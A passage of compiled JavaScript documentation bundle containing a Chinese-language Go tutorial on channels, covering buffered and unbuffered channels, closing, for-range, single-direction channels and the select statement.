int)"}),"\u521b\u5efa\u7684\u662f\u65e0\u7f13\u51b2\u7684\u901a\u9053\uff0c\u65e0\u7f13\u51b2\u7684\u901a\u9053\u53ea\u6709\u5728\u6709\u63a5\u6536\u65b9\u80fd\u591f\u63a5\u6536\u503c\u7684\u65f6\u5019\u624d\u80fd\u53d1\u9001\u6210\u529f\uff0c\u5426\u5219\u4f1a\u4e00\u76f4\u5904\u4e8e\u7b49\u5f85\u53d1\u9001\u7684\u9636\u6bb5\u3002\u540c\u7406\uff0c\u5982\u679c\u5bf9\u4e00\u4e2a\u65e0\u7f13\u51b2\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u65f6\uff0c\u6ca1\u6709\u4efb\u4f55\u5411\u901a\u9053\u4e2d\u53d1\u9001\u503c\u7684\u64cd\u4f5c\u90a3\u4e48\u4e5f\u4f1a\u5bfc\u81f4\u63a5\u6536\u64cd\u4f5c\u963b\u585e\u3002\u5c31\u50cf\u7530\u5f84\u6bd4\u8d5b\u4e2d\u76844x100\u63a5\u529b\u8d5b\uff0c\u60f3\u8981\u5b8c\u6210\u4ea4\u68d2\u5fc5\u987b\u6709\u4e00\u4e2a\u80fd\u591f\u63a5\u68d2\u7684\u8fd0\u52a8\u5458\uff0c\u5426\u5219\u53ea\u80fd\u7b49\u5f85\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u65e0\u7f13\u51b2\u7684\u901a\u9053\u5fc5\u987b\u6709\u81f3\u5c11\u4e00\u4e2a\u63a5\u6536\u65b9\u624d\u80fd\u53d1\u9001\u6210\u529f\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u963b\u585e\u5728",(0,i.jsx)(e.code,{children:"ch <- 10"}),"\u8fd9\u4e00\u884c\u4ee3\u7801\u5f62\u6210\u6b7b\u9501\uff0c\u90a3\u5982\u4f55\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\u4e00\u79cd\u53ef\u884c\u7684\u65b9\u6cd5\u662f\u521b\u5efa\u4e00\u4e2a goroutine \u53bb\u63a5\u6536\u503c\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func recv(c chan int) {\n\tret := <-c\n\tfmt.Println("\u63a5\u6536\u6210\u529f", ret)\n}\n\nfunc main() {\n\tch := make(chan int)\n\tgo recv(ch) // \u521b\u5efa\u4e00\u4e2a goroutine \u4ece\u901a\u9053\u63a5\u6536\u503c\n\tch <- 10\n\tfmt.Println("\u53d1\u9001\u6210\u529f")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u9996\u5148\u65e0\u7f13\u51b2\u901a\u9053",(0,i.jsx)(e.code,{children:"ch"}),"\u4e0a\u7684\u53d1\u9001\u64cd\u4f5c\u4f1a\u963b\u585e\uff0c\u76f4\u5230\u53e6\u4e00\u4e2a goroutine \u5728\u8be5\u901a\u9053\u4e0a\u6267\u884c\u63a5\u6536\u64cd\u4f5c\uff0c\u8fd9\u65f6\u6570\u5b5710\u624d\u80fd\u53d1\u9001\u6210\u529f\uff0c\u4e24\u4e2a goroutine \u5c06\u7ee7\u7eed\u6267\u884c\u3002\u76f8\u53cd\uff0c\u5982\u679c\u63a5\u6536\u64cd\u4f5c\u5148\u6267\u884c\uff0c\u63a5\u6536\u65b9\u6240\u5728\u7684 goroutine \u5c06\u963b\u585e\uff0c\u76f4\u5230 main goroutine \u4e2d\u5411\u8be5\u901a\u9053\u53d1\u9001\u6570\u5b5710\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528\u65e0\u7f13\u51b2\u901a\u9053\u8fdb\u884c\u901a\u4fe1\u5c06\u5bfc\u81f4\u53d1\u9001\u548c\u63a5\u6536\u7684 goroutine \u540c\u6b65\u5316\u3002\u56e0\u6b64\uff0c\u65e0\u7f13\u51b2\u901a\u9053\u4e5f\u88ab\u79f0\u4e3a",(0,i.jsx)(e.code,{children:"\u540c\u6b65\u901a\u9053"}),"\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u6709\u7f13\u51b2\u7684\u901a\u9053",children:"\u6709\u7f13\u51b2\u7684\u901a\u9053"}),"\n",(0,i.jsx)(e.p,{children:"\u8fd8\u6709\u53e6\u5916\u4e00\u79cd\u89e3\u51b3\u4e0a\u9762\u6b7b\u9501\u95ee\u9898\u7684\u65b9\u6cd5\uff0c\u90a3\u5c31\u662f\u4f7f\u7528\u6709\u7f13\u51b2\u533a\u7684\u901a\u9053\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u4f7f\u7528 make \u51fd\u6570\u521d\u59cb\u5316\u901a\u9053\u65f6\uff0c\u53ef\u4ee5\u4e3a\u5176\u6307\u5b9a\u901a\u9053\u7684\u5bb9\u91cf\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tch := make(chan int, 1) // \u521b\u5efa\u4e00\u4e2a\u5bb9\u91cf\u4e3a1\u7684\u6709\u7f13\u51b2\u533a\u901a\u9053\n\tch <- 10\n\tfmt.Println("\u53d1\u9001\u6210\u529f")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u53ea\u8981\u901a\u9053\u7684\u5bb9\u91cf\u5927\u4e8e\u96f6\uff0c\u90a3\u4e48\u8be5\u901a\u9053\u5c31\u5c5e\u4e8e\u6709\u7f13\u51b2\u7684\u901a\u9053\uff0c\u901a\u9053\u7684\u5bb9\u91cf\u8868\u793a\u901a\u9053\u4e2d\u6700\u5927\u80fd\u5b58\u653e\u7684\u5143\u7d20\u6570\u91cf\u3002\u5f53\u901a\u9053\u5185\u5df2\u6709\u5143\u7d20\u6570\u8fbe\u5230\u6700\u5927\u5bb9\u91cf\u540e\uff0c\u518d\u5411\u901a\u9053\u6267\u884c\u53d1\u9001\u64cd\u4f5c\u5c31\u4f1a\u963b\u585e\uff0c\u9664\u975e\u6709\u4ece\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u3002\u5c31\u50cf\u4f60\u5c0f\u533a\u7684\u5feb\u9012\u67dc\u53ea\u6709\u90a3\u4e48\u4e2a\u591a\u683c\u5b50\uff0c\u683c\u5b50\u6ee1\u4e86\u5c31\u88c5\u4e0d\u4e0b\u4e86\uff0c\u5c31\u963b\u585e\u4e86\uff0c\u7b49\u5230\u522b\u4eba\u53d6\u8d70\u4e00\u4e2a\u5feb\u9012\u5458\u5c31\u80fd\u5f80\u91cc\u9762\u653e\u4e00\u4e2a\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5185\u7f6e\u7684",(0,i.jsx)(e.code,{children:"len"}),"\u51fd\u6570\u83b7\u53d6\u901a\u9053\u5185\u5143\u7d20\u7684\u6570\u91cf\uff0c\u4f7f\u7528",(0,i.jsx)(e.code,{children:"cap"}),"\u51fd\u6570\u83b7\u53d6\u901a\u9053\u7684\u5bb9\u91cf\uff0c\u867d\u7136\u6211\u4eec\u5f88\u5c11\u4f1a\u8fd9\u4e48\u505a\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f",children:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f"}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u5411\u901a\u9053\u4e2d\u53d1\u9001\u5b8c\u6570\u636e\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"close"}),"\u51fd\u6570\u6765\u5173\u95ed\u901a\u9053\u3002\u5f53\u4e00\u4e2a\u901a\u9053\u88ab\u5173\u95ed\u540e\uff0c\u518d\u5f80\u8be5\u901a\u9053\u53d1\u9001\u503c\u4f1a\u5f15\u53d1",(0,i.jsx)(e.code,{children:"panic"}),"\uff0c\u4ece\u8be5\u901a\u9053\u53d6\u503c\u7684\u64cd\u4f5c\u4f1a\u5148\u53d6\u5b8c\u901a\u9053\u4e2d\u7684\u503c\u3002\u901a\u9053\u5185\u7684\u503c\u88ab\u63a5\u6536\u5b8c\u540e\u518d\u5bf9\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u5f97\u5230\u7684\u503c\u4f1a\u4e00\u76f4\u90fd\u662f\u5bf9\u5e94\u5143\u7d20\u7c7b\u578b\u7684\u96f6\u503c\u3002\u90a3\u6211\u4eec\u5982\u4f55\u5224\u65ad\u4e00\u4e2a\u901a\u9053\u662f\u5426\u88ab\u5173\u95ed\u4e86\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u5bf9\u4e00\u4e2a\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u65f6\u652f\u6301\u4f7f\u7528\u5982\u4e0b\u591a\u8fd4\u56de\u503c\u6a21\u5f0f\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"value, ok := <- ch\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"value\uff1a\u4ece\u901a\u9053\u4e2d\u53d6\u51fa\u7684\u503c\uff0c\u5982\u679c\u901a\u9053\u88ab\u5173\u95ed\u5219\u8fd4\u56de\u5bf9\u5e94\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"ok\uff1a\u901a\u9053ch\u5173\u95ed\u65f6\u8fd4\u56de false\uff0c\u5426\u5219\u8fd4\u56de true\u3002"}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u4ee3\u7801\u7247\u6bb5\u4e2d\u7684",(0,i.jsx)(e.code,{children:"f2"}),"\u51fd\u6570\u4f1a\u5faa\u73af\u4ece\u901a\u9053",(0,i.jsx)(e.code,{children:"ch"}),"\u4e2d\u63a5\u6536\u6240\u6709\u503c\uff0c\u76f4\u5230\u901a\u9053\u88ab\u5173\u95ed\u540e\u9000\u51fa\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func f2(ch chan int) {\n\tfor {\n\t\tv, ok := <-ch\n\t\tif !ok {\n\t\t\tfmt.Println("\u901a\u9053\u5df2\u5173\u95ed")\n\t\t\tbreak\n\t\t}\n\t\tfmt.Printf("v:%#v ok:%#v\\n", v, ok)\n\t}\n}\n\nfunc main() {\n\tch := make(chan int, 2)\n\tch <- 1\n\tch <- 2\n\tclose(ch)\n\tf2(ch)\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"for-range\u63a5\u6536\u503c",children:"for range\u63a5\u6536\u503c"}),"\n",(0,i.jsxs)(e.p,{children:["\u901a\u5e38\u6211\u4eec\u4f1a\u9009\u62e9\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for range"}),"\u5faa\u73af\u4ece\u901a\u9053\u4e2d\u63a5\u6536\u503c\uff0c\u5f53\u901a\u9053\u88ab\u5173\u95ed\u540e\uff0c\u4f1a\u5728\u901a\u9053\u5185\u7684\u6240\u6709\u503c\u88ab\u63a5\u6536\u5b8c\u6bd5\u540e\u4f1a\u81ea\u52a8\u9000\u51fa\u5faa\u73af\u3002\u4e0a\u9762\u90a3\u4e2a\u793a\u4f8b\u6211\u4eec\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for range"}),"\u6539\u5199\u540e\u4f1a\u5f88\u7b80\u6d01\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func f3(ch chan int) {\n\tfor v := range ch {\n\t\tfmt.Println(v)\n\t}\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u76ee\u524dGo\u8bed\u8a00\u4e2d\u5e76\u6ca1\u6709\u63d0\u4f9b\u4e00\u4e2a\u4e0d\u5bf9\u901a\u9053\u8fdb\u884c\u8bfb\u53d6\u64cd\u4f5c\u5c31\u80fd\u5224\u65ad\u901a\u9053\u662f\u5426\u88ab\u5173\u95ed\u7684\u65b9\u6cd5\u3002\u4e0d\u80fd\u7b80\u5355\u7684\u901a\u8fc7",(0,i.jsx)(e.code,{children:"len(ch)"}),"\u64cd\u4f5c\u6765\u5224\u65ad\u901a\u9053\u662f\u5426\u88ab\u5173\u95ed\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u5355\u5411\u901a\u9053",children:"\u5355\u5411\u901a\u9053"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u80fd\u4f1a\u5c06\u901a\u9053\u4f5c\u4e3a\u53c2\u6570\u5728\u591a\u4e2a\u4efb\u52a1\u51fd\u6570\u95f4\u8fdb\u884c\u4f20\u9012\uff0c\u901a\u5e38\u6211\u4eec\u4f1a\u9009\u62e9\u5728\u4e0d\u540c\u7684\u4efb\u52a1\u51fd\u6570\u4e2d\u5bf9\u901a\u9053\u7684\u4f7f\u7528\u8fdb\u884c\u9650\u5236\uff0c\u6bd4\u5982\u9650\u5236\u901a\u9053\u5728\u67d0\u4e2a\u51fd\u6570\u4e2d\u53ea\u80fd\u6267\u884c\u53d1\u9001\u6216\u53ea\u80fd\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u3002\u60f3\u8c61\u4e00\u4e0b\uff0c\u6211\u4eec\u73b0\u5728\u6709",(0,i.jsx)(e.code,{children:"Producer"}),"\u548c",(0,i.jsx)(e.code,{children:"Consumer"}),"\u4e24\u4e2a\u51fd\u6570\uff0c\u5176\u4e2d",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u4f1a\u8fd4\u56de\u4e00\u4e2a\u901a\u9053\uff0c\u5e76\u4e14\u4f1a\u6301\u7eed\u5c06\u7b26\u5408\u6761\u4ef6\u7684\u6570\u636e\u53d1\u9001\u81f3\u8be5\u901a\u9053\uff0c\u5e76\u5728\u53d1\u9001\u5b8c\u6210\u540e\u5c06\u8be5\u901a\u9053\u5173\u95ed\u3002\u800c",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u7684\u4efb\u52a1\u662f\u4ece\u901a\u9053\u4e2d\u63a5\u6536\u503c\u8fdb\u884c\u8ba1\u7b97\uff0c\u8fd9\u4e24\u4e2a\u51fd\u6570\u4e4b\u95f4\u901a\u8fc7",(0,i.jsx)(e.code,{children:"Processer"}),"\u51fd\u6570\u8fd4\u56de\u7684\u901a\u9053\u8fdb\u884c\u901a\u4fe1\u3002\u5b8c\u6574\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n)\n\n// Producer \u8fd4\u56de\u4e00\u4e2a\u901a\u9053\n// \u5e76\u6301\u7eed\u5c06\u7b26\u5408\u6761\u4ef6\u7684\u6570\u636e\u53d1\u9001\u81f3\u8fd4\u56de\u7684\u901a\u9053\u4e2d\n// \u6570\u636e\u53d1\u9001\u5b8c\u6210\u540e\u4f1a\u5c06\u8fd4\u56de\u7684\u901a\u9053\u5173\u95ed\nfunc Producer() chan int {\n\tch := make(chan int, 2)\n\t// \u521b\u5efa\u4e00\u4e2a\u65b0\u7684goroutine\u6267\u884c\u53d1\u9001\u6570\u636e\u7684\u4efb\u52a1\n\tgo func() {\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tif i%2 == 1 {\n\t\t\t\tch <- i\n\t\t\t}\n\t\t}\n\t\tclose(ch) // \u4efb\u52a1\u5b8c\u6210\u540e\u5173\u95ed\u901a\u9053\n\t}()\n\n\treturn ch\n}\n\n// Consumer \u4ece\u901a\u9053\u4e2d\u63a5\u6536\u6570\u636e\u8fdb\u884c\u8ba1\u7b97\nfunc Consumer(ch chan int) int {\n\tsum := 0\n\tfor v := range ch {\n\t\tsum += v\n\t}\n\treturn sum\n}\n\nfunc main() {\n\tch := Producer()\n\n\tres := Consumer(ch)\n\tfmt.Println(res) // 25\n\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u4ece\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u53ef\u4ee5\u770b\u51fa\u6b63\u5e38\u60c5\u51b5\u4e0b",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u4e2d\u53ea\u4f1a\u5bf9\u901a\u9053\u8fdb\u884c\u63a5\u6536\u64cd\u4f5c\uff0c\u4f46\u662f\u8fd9\u4e0d\u4ee3\u8868\u4e0d\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u4e2d\u5bf9\u901a\u9053\u8fdb\u884c\u53d1\u9001\u64cd\u4f5c\u3002\u4f5c\u4e3a",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u7684\u63d0\u4f9b\u8005\uff0c\u6211\u4eec\u5728\u8fd4\u56de\u901a\u9053\u7684\u65f6\u5019\u53ef\u80fd\u53ea\u5e0c\u671b\u8c03\u7528\u65b9\u62ff\u5230\u8fd4\u56de\u7684\u901a\u9053\u540e\u53ea\u80fd\u5bf9\u5176\u8fdb\u884c\u63a5\u6536\u64cd\u4f5c\u3002\u4f46\u662f\u6211\u4eec\u6ca1\u6709\u529e\u6cd5\u963b\u6b62\u5728",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u4e2d\u5bf9\u901a\u9053\u8fdb\u884c\u53d1\u9001\u64cd\u4f5c\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u63d0\u4f9b\u4e86",(0,i.jsx)(e.strong,{children:"\u5355\u5411\u901a\u9053"}),"\u6765\u5904\u7406\u8fd9\u79cd\u9700\u8981\u9650\u5236\u901a\u9053\u53ea\u80fd\u8fdb\u884c\u67d0\u79cd\u64cd\u4f5c\u7684\u60c5\u51b5\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"<- chan int // \u53ea\u63a5\u6536\u901a\u9053\uff0c\u53ea\u80fd\u63a5\u6536\u4e0d\u80fd\u53d1\u9001\nchan <- int // \u53ea\u53d1\u9001\u901a\u9053\uff0c\u53ea\u80fd\u53d1\u9001\u4e0d\u80fd\u63a5\u6536\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5176\u4e2d\uff0c\u7bad\u5934",(0,i.jsx)(e.code,{children:"<-"}),"\u548c\u5173\u952e\u5b57",(0,i.jsx)(e.code,{children:"chan"}),"\u7684\u76f8\u5bf9\u4f4d\u7f6e\u8868\u660e\u4e86\u5f53\u524d\u901a\u9053\u5141\u8bb8\u7684\u64cd\u4f5c\uff0c\u8fd9\u79cd\u9650\u5236\u5c06\u5728\u7f16\u8bd1\u9636\u6bb5\u8fdb\u884c\u68c0\u6d4b\u3002\u53e6\u5916\u5bf9\u4e00\u4e2a\u53ea\u63a5\u6536\u901a\u9053\u6267\u884cclose\u4e5f\u662f\u4e0d\u5141\u8bb8\u7684\uff0c\u56e0\u4e3a\u9ed8\u8ba4\u901a\u9053\u7684\u5173\u95ed\u64cd\u4f5c\u5e94\u8be5\u7531\u53d1\u9001\u65b9\u6765\u5b8c\u6210\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u4f7f\u7528\u5355\u5411\u901a\u9053\u5c06\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u8fdb\u884c\u5982\u4e0b\u6539\u9020\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// Producer2 \u8fd4\u56de\u4e00\u4e2a\u63a5\u6536\u901a\u9053\nfunc Producer2() <-chan int {\n\tch := make(chan int, 2)\n\t// \u521b\u5efa\u4e00\u4e2a\u65b0\u7684goroutine\u6267\u884c\u53d1\u9001\u6570\u636e\u7684\u4efb\u52a1\n\tgo func() {\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tif i%2 == 1 {\n\t\t\t\tch <- i\n\t\t\t}\n\t\t}\n\t\tclose(ch) // \u4efb\u52a1\u5b8c\u6210\u540e\u5173\u95ed\u901a\u9053\n\t}()\n\n\treturn ch\n}\n\n// Consumer2 \u53c2\u6570\u4e3a\u63a5\u6536\u901a\u9053\nfunc Consumer2(ch <-chan int) int {\n\tsum := 0\n\tfor v := range ch {\n\t\tsum += v\n\t}\n\treturn sum\n}\n\nfunc main() {\n\tch2 := Producer2()\n \n\tres2 := Consumer2(ch2)\n\tfmt.Println(res2) // 25\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b21\uff0c",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u53ea\u63a5\u6536\u901a\u9053\uff0c\u8fd9\u5c31\u4ece\u4ee3\u7801\u5c42\u9762\u9650\u5236\u4e86\u8be5\u51fd\u6570\u8fd4\u56de\u7684\u901a\u9053\u53ea\u80fd\u8fdb\u884c\u63a5\u6536\u64cd\u4f5c\uff0c\u4fdd\u8bc1\u4e86\u6570\u636e\u5b89\u5168\u3002\u5f88\u591a\u8bfb\u8005\u770b\u5230\u8fd9\u4e2a\u793a\u4f8b\u53ef\u80fd\u4f1a\u89c9\u7740\u8fd9\u6837\u7684\u9650\u5236\u662f\u591a\u4f59\u7684\uff0c\u4f46\u662f\u8bd5\u60f3\u4e00\u4e0b\u5982\u679c",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u53ef\u4ee5\u5728\u5176\u4ed6\u5730\u65b9\u88ab\u5176\u4ed6\u4eba\u8c03\u7528\uff0c\u4f60\u8be5\u5982\u4f55\u9650\u5236\u4ed6\u4eba\u4e0d\u5bf9\u8be5\u901a\u9053\u6267\u884c\u53d1\u9001\u64cd\u4f5c\u5462\uff1f\u5e76\u4e14\u8fd4\u56de\u9650\u5236\u64cd\u4f5c\u7684\u5355\u5411\u901a\u9053\u4e5f\u4f1a\u8ba9\u4ee3\u7801\u8bed\u4e49\u66f4\u6e05\u6670\u3001\u66f4\u6613\u8bfb\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u51fd\u6570\u4f20\u53c2\u53ca\u4efb\u4f55\u8d4b\u503c\u64cd\u4f5c\u4e2d\u5168\u5411\u901a\u9053\uff08\u6b63\u5e38\u901a\u9053\uff09\u53ef\u4ee5\u8f6c\u6362\u4e3a\u5355\u5411\u901a\u9053\uff0c\u4f46\u662f\u65e0\u6cd5\u53cd\u5411\u8f6c\u6362\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var ch3 = make(chan int, 1)\nch3 <- 10\nclose(ch3)\nConsumer2(ch3) // \u51fd\u6570\u4f20\u53c2\u65f6\u5c06ch3\u8f6c\u4e3a\u5355\u5411\u901a\u9053\n\nvar ch4 = make(chan int, 1)\nch4 <- 10\nvar ch5 <-chan int // \u58f0\u660e\u4e00\u4e2a\u53ea\u63a5\u6536\u901a\u9053ch5\nch5 = ch4 // \u53d8\u91cf\u8d4b\u503c\u65f6\u5c06ch4\u8f6c\u4e3a\u5355\u5411\u901a\u9053\n<-ch5\n"})}),"\n",(0,i.jsx)(e.h3,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u8868\u683c\u4e2d\u603b\u7ed3\u4e86\u5bf9\u4e0d\u540c\u72b6\u6001\u4e0b\u7684\u901a\u9053\u6267\u884c\u76f8\u5e94\u64cd\u4f5c\u7684\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"img",src:t(52164).A+"",width:"598",height:"321"})}),"\n",(0,i.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u5bf9\u5df2\u7ecf\u5173\u95ed\u7684\u901a\u9053\u518d\u6267\u884c close \u4e5f\u4f1a\u5f15\u53d1 panic\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"select\u591a\u8def\u590d\u7528",children:"select\u591a\u8def\u590d\u7528"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u80fd\u9700\u8981\u540c\u65f6\u4ece\u591a\u4e2a\u901a\u9053\u63a5\u6536\u6570\u636e\u3002\u901a\u9053\u5728\u63a5\u6536\u6570\u636e\u65f6\uff0c\u5982\u679c\u6ca1\u6709\u6570\u636e\u53ef\u4ee5\u88ab\u63a5\u6536\u90a3\u4e48\u5f53\u524d goroutine \u5c06\u4f1a\u53d1\u751f\u963b\u585e\u3002\u4f60\u4e5f\u8bb8\u4f1a\u5199\u51fa\u5982\u4e0b\u4ee3\u7801\u5c1d\u8bd5\u4f7f\u7528\u904d\u5386\u7684\u65b9\u5f0f\u6765\u5b9e\u73b0\u4ece\u591a\u4e2a\u901a\u9053\u4e2d\u63a5\u6536\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"for{\n // \u5c1d\u8bd5\u4ecech1\u63a5\u6536\u503c\n data, ok := <-ch1\n // \u5c1d\u8bd5\u4ecech2\u63a5\u6536\u503c\n data, ok := <-ch2\n \u2026\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u79cd\u65b9\u5f0f\u867d\u7136\u53ef\u4ee5\u5b9e\u73b0\u4ece\u591a\u4e2a\u901a\u9053\u63a5\u6536\u503c\u7684\u9700\u6c42\uff0c\u4f46\u662f\u7a0b\u5e8f\u7684\u8fd0\u884c\u6027\u80fd\u4f1a\u5dee\u5f88\u591a\u3002Go \u8bed\u8a00\u5185\u7f6e\u4e86",(0,i.jsx)(e.code,{children:"select"}),"\u5173\u952e\u5b57\uff0c\u4f7f\u7528\u5b83\u53ef\u4ee5\u540c\u65f6\u54cd\u5e94\u591a\u4e2a\u901a\u9053\u7684\u64cd\u4f5c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Select \u7684\u4f7f\u7528\u65b9\u5f0f\u7c7b\u4f3c\u4e8e\u4e4b\u524d\u5b66\u5230\u7684 switch \u8bed\u53e5\uff0c\u5b83\u4e5f\u6709\u4e00\u7cfb\u5217 case \u5206\u652f\u548c\u4e00\u4e2a\u9ed8\u8ba4\u7684\u5206\u652f\u3002\u6bcf\u4e2a case \u5206\u652f\u4f1a\u5bf9\u5e94\u4e00\u4e2a\u901a\u9053\u7684\u901a\u4fe1\uff08\u63a5\u6536\u6216\u53d1\u9001\uff09\u8fc7\u7a0b\u3002select \u4f1a\u4e00\u76f4\u7b49\u5f85\uff0c\u76f4\u5230\u5176\u4e2d\u7684\u67d0\u4e2a case \u7684\u901a\u4fe1\u64cd\u4f5c\u5b8c\u6210\u65f6\uff0c\u5c31\u4f1a\u6267\u884c\u8be5 case \u5206\u652f\u5bf9\u5e94\u7684\u8bed\u53e5\u3002\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"select {\ncase <-ch1:\n\t//...\ncase data := <-ch2:\n\t//...\ncase ch3 <- 10:\n\t//...\ndefault:\n\t//\u9ed8\u8ba4\u64cd\u4f5c\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"Select \u8bed\u53e5\u5177\u6709\u4ee5\u4e0b\u7279\u70b9\u3002"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u53ef\u5904\u7406\u4e00\u4e2a\u6216\u591a\u4e2a channel \u7684\u53d1\u9001/\u63a5\u6536\u64cd\u4f5c\u3002"}),"\n",(0,i.jsxs)(e.li,{children:["\u5982\u679c\u591a\u4e2a case \u540c\u65f6\u6ee1\u8db3\uff0cselect \u4f1a",(0,i.jsx)(e.strong,{children:"\u968f\u673a"}),"\u9009\u62e9\u4e00\u4e2a\u6267\u884c\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e8e\u6ca1\u6709 case \u7684 select \u4f1a\u4e00\u76f4\u963b\u585e\uff0c\u53ef\u7528\u4e8e\u963b\u585e main \u51fd\u6570\uff0c\u9632\u6b62\u9000\u51fa\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u80fd\u591f\u5728\u7ec8\u7aef\u6253\u5370\u51fa10\u4ee5\u5185\u7684\u5947\u6570\uff0c\u6211\u4eec\u501f\u52a9\u8fd9\u4e2a\u4ee3\u7801\u7247\u6bb5\u6765\u770b\u4e00\u4e0b select \u7684\u5177\u4f53\u4f7f\u7528\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\nfunc main() {\n\tch := make(chan int, 1)\n\tfor i := 1; i <= 10; i++ {\n\t\tselect {\n\t\tcase x := <-ch:\n\t\t\tfmt.Println(x)\n\t\tcase ch <- 